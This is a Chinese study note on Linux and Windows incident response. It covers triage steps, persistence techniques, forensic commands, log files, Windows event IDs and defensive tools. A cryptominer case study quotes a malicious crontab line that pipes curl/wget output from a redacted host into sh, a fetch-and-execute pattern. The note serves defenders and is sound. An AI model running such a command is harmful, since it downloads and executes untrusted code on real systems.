Linux&Windows应急响应学习笔记
Linux&Windows应急响应学习笔记
应急响应流程
事件判断:判断是否是安全事件,勒索、挖矿、断网、DDos等
临时处置:给出客户临时处置建议,断网隔离。保护现场环境
信息分析收集:收集客户信息和中毒主机信息,包括样本,日志分析、进程分析、启动项分析。
清理处置:直接杀掉进程,删除文件,打补丁,修复文件
产出报告:整理并输出完整的安全事件报告
应急前沟通
1.现场现象是什么?如何发现的?依据?
根据不同的现象进行应急
2.什么时候发现的?
查找对应时间日志
3.目前是否有做物理隔离
未做隔离有可能攻击者在内网中进行横向
4.受害机器是哪个
5.受害服务有几台
6.最先发现的是哪台
通过最先发现的进行溯源,便于找到攻击的入口点
7.服务器对外提供的服务
如果是对外提供的服务,可以通过服务点进行排查;纯内网可能是作为跳板机
8.这台服务器与其他收到攻击的机器是否处于同一内网
不同内网就可能存在跨网段攻击,以便获取到攻击者的对内网的掌握情况
9.操作系统类型?是否有公网映射业务?远程管理方式?网络边界有没有流量监控设备?主机测是否有EDR等安全设备
远程管理是通过堡垒机、EDP还是ssh。通过流量监控等设备进行未知攻击发现。椒图属于HIDS,360天擎终端检测与响应系统属于EDR
应急要点:了解常见端口的攻击手法
攻击者常用的web漏洞

攻击者常用的组件漏洞

应急响应处置思路
攻击者漏洞利用
外网扫描
利用漏洞扫描器进行扫描
xray AWVS SQLMAP ...
漏洞利用
一些高危漏洞,比如Shiro、Struts2、等反序列化命令执行
主机控制
上传webshell、反弹shell、远控程序
CobaltStrike
metaspolit
横向渗透
上传黑客内网扫描工具、利用内网主机作为跳板攻击其他机器
CobaltStrike
Metasploit
应急响应
找到webshell
确定攻击IP
回溯攻击者操作
梳理攻击过程
实战情况下的应急响应——web攻击事件
相关表现:页面被篡改、恶意推广、黑词黑页、webshell
相关危害:导致搜索引擎告警、微信等app分享警告、首页敏感内容、拖库、内网沦陷等
排查要点:
能否在多环境下复现异常现象
原因:不一定是服务器遭受攻击,有可能是链路遭到纂改、运营商dns异常
特定的ua头可能出现问题可能是链路遭到劫持
当确定服务器遭受攻击时,对恶意文件进行排查
操作要点:备份文件,webshell后门查杀;web日志分析;web中间件缓存处理;web中间件配置文件检查
防护措施:加固相关web应用,修改相关系统的所有用户密码
实战情况下的应急响应——链路劫持
相关表现:区域性服务不可用或返回异常内容
相关危害:导致搜索引擎告警、微信等app分享警告、首页敏感内容
排查要点:能否在多环境下复现异常现象
操作要点:跨地区、运营商进行测试,确定影响范围;在能复现的环境中判断是DNS劫持还是HTTP劫持
防护措施:重要业务部署https
实战情况下的应急响应——代理隧道
相关表现:持续性或间断性的外连行为,通常为tcp协议;对内网多个主机有访问行为
相关危害:作为跳板级攻击其他内网资产
排查要点:确定存在代理隧道的跳板机,通常为某时间段内集中访问内网多种资源的机器;判断隧道类型
防护措施:完善内网acl,服务器按业务需要通过白名单策略访问内网
实战情况下的应急响应——替换系统命令
相关表现:无明显表现
相关危害:将后门、木马持久化在系统中;窃取账号、密码等重要凭证
排查要点:使用包管理自带的包校验更能验证文件完整性;分析恶意文件行为,确定应影响面
操作要点:使用静态链接busybox;重新安装被替换的包
实战情况下的应急响应——ld.so.preload动态链接库劫持
相关表现:无明显表现
相关危害:将后门、木马持久化在系统中;窃取账号、密码等重要凭证
排查要点:检查/etc/ld.so.preload,ld.so(/lib/x86_64-linux-gnu/ld-2.27.so)
操作要点:使用静态链接busybox;重启被注入恶意模块的进程,必要时重启系统
实战情况下的应急响应——内核态rootkit
相关表现:无明显表现
相关危害:将后门、木马持久化在系统中;隐藏文件、进程等信息
排查要点:确定是否存在无法使用常规命令查看的文件、进程
操作要点:使用tyton内核态检测工具检测;检查/etc/modules是否有未知的内核模块
实战情况下的应急响应——计划任务
相关表现:特定事件间隔触发木马、后门、网络链接、DNS请求、篡改页面等行为
相关危害:将后门、木马持久化在系统中;周期性篡改页面、拉取数据
排查要点:判断是否周期性出现异常现象,检查/var/spool/crom/crontabs/,/etc/cron.*等常用计划任务配置文件
操作要点:停止计划任务服务后在操作;注意辨别利用\r回车符的障眼法小技巧
实战情况下的应急响应——远控木马
相关表现:有持续性或间断性的对外网络链接或DNS请求等通信行为
相关危害:窃取系统资料、作为跳板进一步攻击内网其他机器
排查要点:关注tcp、udp、icmp等一切网络行为,检查注册表、服务、开机目录、计划任务等一系列常见的持久化点
操作要点:检查网络连接,以及ids设备上的异常远控告警
Linux应急响应
关键目录
| 文件名 | 说明 |
|---|---|
| /etc/passwd | 用户信息文件 |
| /etc/rc.d/rc.local | 开启启动项 |
| /root/.ssh | root用户ssh公钥和私钥 |
| /tmp | 系统或用户临时文件的目录 |
| /etc/hosts | 本地ip地址域名解析文件 |
| /etc/init.d | 开机启动项 |
常用命令
查看当前目录下所有文件并排序:
ls -alt
查看系统内存使用情况
free -h

查看系统进程及子进程
ps auxf

查看系统进程及其占用率
top
查看网络连接
netstat -anptl
查看对应pid进程可执行程序
ls -alh /proc/[pid]

查询端口打开的文件:lsof -i:port
查询进程打开的文件:lsof -p pid
查询用户打开的文件:lsof -u root
修改文件属性:chattr
显示文件属性:lsattr
示例
一恶意文件名为3d4x
# lsattr 3d4x
-------------e-- 3d4x
# chattr +i 3d4x
# lsattr 3d4x
----i--------e-- 3d4x
# id
uid=0(root) gid=0(root) group=0(root)
# rm -rf 3d4x
rm: cannot remove '3d4x':Operation not permitted
排查启动项
cat /etc/rc.local
ls -alt /etc/profile.d/*.sh
查找符合条件的字符串:grep
查看定时任务
for u in `cat /etc/passwd | cut -d":" -f1`;do crontab -l -u $u;done #查看所有用户的定时任务
more /etc/crontab
more /etc/cron.d/*
more /etc/cron.daily/*
more /etc/cron.hourly/*
more /etc/cron.monthly/*
more /etc/cron.weekly/*
more /etc/anacrontab
more /var/spool/anacron/*
查看历史命令
history
cat ~/.bash_history
校验rpm软件包
rpm -Va
dpkg -verify
查找当前目录下,指定天数修改的指定类型文件:
find / -mtime 0 -name *.jsp #一天以内修改的jsp文件
查找当前目录下,指定天数添加的指定类型文件:
find / -ctime 0 -name *.jsp #一天以内创建的jsp文件
比较文件差异:diff -c
查看隐藏进程
ps -ef |awk '{print $2}' | sort -n | uniq > ps.q
ls /proc | sort -n |uniq >proc.p
diff ps.p proc.p
比较两个文件中的进程号,来查找隐藏进程
查看用户登录历史记录:last
查看用户登录失败记录:lastb
查看用户最近一次登录记录:lastlog
日志分析
Linux日志类型大致可以分为三大类,内核和系统日志、用户日志、应用日志
内核和系统日志:这种日志主要由syslog管理、根据其配置文件/etc/syslog.conf中的设置决定内核消息和各种系统程序信息记录到哪个位置
用户日志:用户日志主要记录系统用户登录或者登出的信息,包括用户名账号、登录时间、源IP等
应用日志:记录应用程序运行过程中的各种事件信息
| 日志文件 | 说明 |
|---|---|
| /var/log/messages | 系统重要日志 |
| /var/log/secure | 记录验证和授权方面的信息,例如ssh登录、su切换用户、添加用户 |
| /var/log/maillog | 记录系统运行电子邮件服务器的日志 |
| /var/log/cron | 记录系统定时任务相关日志 |
| /var/log/boot.log | 记录系统启动时候的日志,包括自启动的服务 |
| /var/log/dmesg | 记录内核缓冲信息 |
| /var/log/bmtp | 记录所有登录失败的日志 |
| /var/log/wtmp | 用户每次登录进入和退出的事件永久记录 |
| /var/log/lastlog | 记录所有用户的最近信息 |
应急工具
BusyBox 使用静态链接库执行命令
Unhide一款检测发现哪些借助rootkit及其他技术隐藏的进程和TCP/UDP端口的命令行工具
https://www.chkrootkit.org/ Linux下检测rootkit的脚本
https://www.shellpub.com/ 河马webshell查杀工具
GitHub - c0ny1/java-memshell-scanner: 通过jsp脚本扫描java web Filter/Servlet型内存马
watchDogs应急响应案例
某单位内网大量linux主机CPU资源被占满,并且存在扩散趋势。现场分析人员执行以下操作
1.通过top命令查看,并未发现进程大量消耗CPU
2.执行netstat命令提示无此命令
3.执行crontab -l,发现存在一条curl任务
*/10 * * * * (curl -fsSL https://xxxxx.com/xxxx|wget -q -O- https://xxxxx.com/xxxx)|sh
从该地址下载sh文件
4.ldd命令发现系统主要命令都被注入可疑的so文件
# ldd /bin/ps
...
/usr/loacl/lib/libioset.so (0x00007f1f8404d000)3
...
由于命令都被注入了libioset.so,该文件会把挖矿进程、挖矿文件进行隐藏,所以ls命令无法显示/usr/local/lib/下存在lisioset.so文件。使用busybox可以进行正常处理
Windows应急响应
常用命令
| 命令 | 说明 |
|---|---|
| regedit | 注册表 |
| Taskmar | 任务管理器 |
| Msconfig | 系统配置 |
| eventvwr.msc | 事件查看器 |
| compmgmt.msc | 计算机管理(本地用户和组) |
| gpedit.msc | 本地组策略 |
| taskschd.msc | 计划任务 |
| lusrmgr.msc | 本地用户和组 |
获取本机用户列表:net user
本机管理员:net localgroup adminstrarots
查看当前会话:net session
查看当前运行的服务:net start
远程连接:net use
查看当前用户下的共享目录:net share
最近打开的文件:%UserProfile\Recent %APPDATA%\Microsoft\Windows\Recent
查找文件中的字符串:findstr /m /i /s "hello" *.txt
查看网络连接netstat -ano
操作系统详细配置信息systeminfo
获取系统进程信息:Wmic process
根据应用程序查找PID:wmic process where name = "cmd.exe" get processid,executablepath,name
根据PID查找用户程序:wmic process where processid="4296" get executablepath,name
获取系统进程信息:tasklist
对于要查询特定dll的调用情况,可以使用tasklist /m dll名称
敏感目录
%WINDIR%
%WINDIR%\sysytem32\
%TEMP%
%LOCALAPPDATA%
%APPDATA%
日志分析
三类日志:系统日志、安全日志、应用程序日志
系统日志主要记录了一些系统组件产生的事件,包括驱动程序产生的信息、系统组件产生的信息和应用程序崩溃的信息以及一些数据丢失情况的信息
默认位置:%SystemRoot%\system32\winevt\Logs\System.evtx
系统启动:事件ID 12
事件日志服务已启动:事件ID 6005
事件日志服务已停止:事件ID 6006
系统关闭:事件ID 13
安全日志主要记录了一些与系统安全相关的事件。这种日志类ing主要是记录了用户登入登出的事件、系统资源使用情况以及系统策略的更改事件,如果要查看安全日志信息,造作元必须具有系统管理员的权限
默认位置:%SystemRoot%\system32\winevt\Logs\Security.evtx
| 事件ID | 说明 |
|---|---|
| 1102 | 清理审计日志 |
| 4624 | 账号成功登录 |
| 4625 | 账号登录失败 |
| 4768 | Kerberos身份验证(TGT请求) |
| 4769 | Kerberos服务票证请求 |
| 4776 | NTLM身份验证 |
| 4672 | 授予特殊权限 |
| 4720 | 创建用户 |
| 4726 | 删除用户 |
| 4728 | 将成员添加到启用安全的全局组中 |
| 4729 | 将成员从安全的全局组中移除 |
| 4732 | 将成员添加到启用安全的本地组中 |
| 4733 | 将成员从安全的本地组中移除 |
| 4756 | 将成员添加到启用安全的通用组中 |
| 4757 | 将成员从启用安全的通用组中移除 |
| 4719 | 系统审计策略修改 |
登录日志类型
logon Type
| 登录类型 | 描述 |
|---|---|
| 2 | 交互式登录(用户从控制台登录) |
| 3 | 网络(例如:通过net use,访问共享网络)永恒之蓝登录类型 |
| 4 | 批处理(为批处理程序保留) |
| 5 | 服务启动(服务登录) |
| 6 | 不支持 |
| 7 | 解锁(带密码保护的屏幕保护程序的无人值班工作站) |
| 8 | 网络明文(IIS服务器登陆验证) |
| 10 | 远程交互(终端服务,远程桌面,远程辅助) |
| 11 | 缓存域证书登录 |
应急工具
PChunter
火绒剑
Autoruns https://download.sysinternals.com/files/Autoruns.zip
Process Monitor
Network monitor Download Microsoft Network Monitor 3.4 (archive) from Official Microsoft Download Center
sysmon
beaconEye GitHub - CCob/BeaconEye: Hunts out CobaltStrike beacons and logs operator command output

浙公网安备 33010602011771号